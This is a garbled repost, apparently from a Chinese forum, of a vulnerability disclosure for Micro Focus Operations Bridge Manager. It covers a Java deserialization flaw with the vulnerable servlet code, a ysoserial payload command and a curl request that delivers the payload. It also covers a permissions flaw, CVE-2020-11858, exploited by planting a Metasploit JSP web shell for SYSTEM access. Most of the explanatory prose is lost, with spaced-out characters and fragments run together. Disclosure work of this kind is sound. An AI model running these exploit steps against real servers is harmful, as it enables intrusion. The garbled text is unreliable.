W r i t e r ( ) ;     w r i t e r . w r i t e ( x m l V a l u e ) ;     }
5 R e m o t e P r o x y S e r v l e t J a v a C W E - 5 0 2 C V E / / M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r   2 0 2 0 . 0 5   ( ) J a v a s e r v l e t c o m . m e r c u r y . u t i l . p r o x y . s e r v l e t . R e m o t e P r o x y S e r v l e t / t o p a z / r e m o t e P r o x y / t o p a z / k p i Q u e r y S e r v i c e P r o x y s e r v l e t d o P o s t ( ) : c o m . m e r c u r y . u t i l . p r o x y . s e r v l e t . R e m o t e P r o x y S e r v l e t . d o P o s t ( ) J a v a H T T P   P O S T - - J B o s s J a v a   c l a s s p a t h 使 y s o s e r i a l U R L D N S : D N S   " f a k e s i t e t h a t d o e s n t e x i s t . c o m " c l a s s p a t h J a v a 6 使 使 J a v a p r o t e c t e d   f i n a l   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   h t t p S e r v l e t R e q u e s t ,   H t t p S e r v l e t R e s p o n s e   h t t p S e r v l e t R e s p o n s e )             t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {         I n v o c a t i o n I n f o   i n v o c a t i o n I n f o   =   n u l l ;         M e t h o d   m e t h o d   =   n u l l ;         I n v o c a t i o n R e s u l t   r e t u r n e d r e s u l t ;         t r y   {             O b j e c t I n p u t S t r e a m   o b j e c t I n p u t S t r e a m   =   n e w   O b j e c t I n p u t S t r e a m ( h t t p S e r v l e t R e q u e s t . g e t I n p u t S t r e a m ( ) ) ;             i n v o c a t i o n I n f o   =   ( I n v o c a t i o n I n f o )   o b j e c t I n p u t S t r e a m . r e a d O b j e c t ( ) ;             O b j e c t   c o n t r o l l e r   =   t h i s . g e t T a r g e t O b j e c t ( h t t p S e r v l e t R e q u e s t ,   i n v o c a t i o n I n f o ) ;             v a l i d a t e P r o x i e d O b j e c t S t a t e ( c o n t r o l l e r ,   i n v o c a t i o n I n f o ) ;             O b j e c t   r e s u l t ;             s y n c h r o n i z e d   ( c o n t r o l l e r )   {                 i f   ( c o n t r o l l e r   i n s t a n c e o f   R e q u e s t S u p p o r t )   {                     ( ( R e q u e s t S u p p o r t )   c o n t r o l l e r ) . s e t R e q u e s t ( h t t p S e r v l e t R e q u e s t ) ;                 }                 m e t h o d   =   c o n t r o l l e r . g e t C l a s s ( ) . g e t M e t h o d ( i n v o c a t i o n I n f o . g e t M e t h o d N a m e ( ) ,                         i n v o c a t i o n I n f o . g e t P a r a m e t e r T y p e s ( ) ) ;                 r e s u l t   =   m e t h o d . i n v o k e ( c o n t r o l l e r ,   i n v o c a t i o n I n f o . g e t A r g s ( ) ) ;             }             i f   ( P r o x y U t i l s . i s S t a t e f u l F a c t o r y ( i n v o c a t i o n I n f o . g e t D e c l a r i n g C l a s s ( ) ) )   {                 S t r i n g   k e y   =   g e t U n i q u e S e s s i o n I D ( i n v o c a t i o n I n f o ) ;                 H t t p S e s s i o n   s e s s i o n   =   h t t p S e r v l e t R e q u e s t . g e t S e s s i o n ( t r u e ) ;                 s e s s i o n . s e t A t t r i b u t e ( k e y ,   r e s u l t ) ;                 r e s u l t   =   " S t a t e f u l   P r o x y   f o r   "   +   m e t h o d . g e t R e t u r n T y p e ( ) . g e t S i m p l e N a m e ( )                         +   "   w a s   i n i t i a t e d   s u c c e s f u l l y   u s i n g   t h e   f o l l o w i n g   P r o x y S t a t e f u l F a c t o r y   c l a s s   : "                         +   i n v o c a t i o n I n f o . g e t D e c l a r i n g C l a s s ( ) . g e t S i m p l e N a m e ( )   +   "   J S E S S I O N I D = "   +   s e s s i o n . g e t I d ( ) ;             }             r e t u r n e d r e s u l t   =   n e w   I n v o c a t i o n R e s u l t ( r e s u l t ,   ( T h r o w a b l e )   n u l l ) ;         }   c a t c h   ( T h r o w a b l e   v a r 1 2 )   {             T h r o w a b l e   e 1   =   w r i t e T o S e r v e r L o g ( v a r 1 2 ,   m e t h o d ) ;             r e t u r n e d r e s u l t   =   n e w   I n v o c a t i o n R e s u l t ( ( O b j e c t )   n u l l ,   e 1 ) ;         }         i f   ( _ l o g . i s D e b u g E n a b l e d ( ) )   {             p o s t R e s p o n s e W i t h D e b u g ( h t t p S e r v l e t R e s p o n s e ,   r e t u r n e d r e s u l t ,   i n v o c a t i o n I n f o ,                     h t t p S e r v l e t R e q u e s t . g e t S e s s i o n ( ) . g e t I d ( ) ) ;         }   e l s e   {             p o s t R e s p o n s e ( h t t p S e r v l e t R e s p o n s e ,   r e t u r n e d r e s u l t ) ;         } ( . . . ) j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   U R L D N S   " h t t p : / / f a k e s i t e t h a t d o e s n t e x i s t . c o m "   >   / t m p / p a y l o a d . s e r c u r l   - i   - s   - k   - X   $ ' P O S T '       - H   $ ' H o s t :   1 0 . 1 0 . 1 0 . 9 9 '       - - d a t a - b i n a r y   @ / t m p / p a y l o a d . s e r       - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m '   - H   ' E x p e c t : '         $ ' h t t p s : / / 1 0 . 1 0 . 1 0 . 9 9 / t o p a z / k p i Q u e r y S e r v i c e P r o x y '
C W E - 1 1 0 4 使 C V E / / M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   R e p o r t e r   1 0 . 4 0   ( ) O B M 使 J a v a # 2 # 3 # 4 J a v a 广 J a v a A p a c h e   C o m m o n s   B e a n U t i l s   1 . 9 . 3 B e a n S h e l l   2 . 0 b 4 C 3 P 0   0 . 9 . 1 . 2 c l a s s p a t h # 2 # 3 # 4 # 5 y s o s e r i a l 使 7 :   S Y S T E M C W E - 2 7 6 :   C V E - 2 0 2 0 - 1 1 8 5 8   /   Z D I - 2 0 - 1 3 2 6 / / 2 0 2 0 . 0 5 2 0 1 9 . 1 1 2 0 1 9 . 0 5 2 0 1 8 . 1 1 2 0 1 8 . 0 5 1 0 . 6 x 1 0 . 1 x 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 O B M C : H P B S M   " "   " "
  "   " C : H P B S M   "   " S Y S T E M   "   " 访 O B M W i n d o w s M e t a s p l o i t J S P   w e b   s h e l l e x p l o i t / m u l t i / h a n d l e r w e b   s h e l l T o m c a t   w e b a p p s L B _ V e r i f y . j s p ( C : H P B S M A p p S e r v e r w e b a p p s s i t e . w a r L B _ V e r i f y . j s p ) 访 w e b s h e l l ( h t t p : / / T A R G E T / t o p a z / L B _ V e r i f y . j s p ) M e t a s p l o i t S Y S T E M   s h e l l ! s h e l l L B _ V e r i f y . j s p 访 L B _ V e r i f y . j s p G u e s t / L B _ V e r i f y . j s p M i c r o   F o c u s H a r d e n i n g O B M O B M 访 S Y S T E M A d m i n i s t r a t o r s 访 - - 访 W i n d o w s O B M /                 C V E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则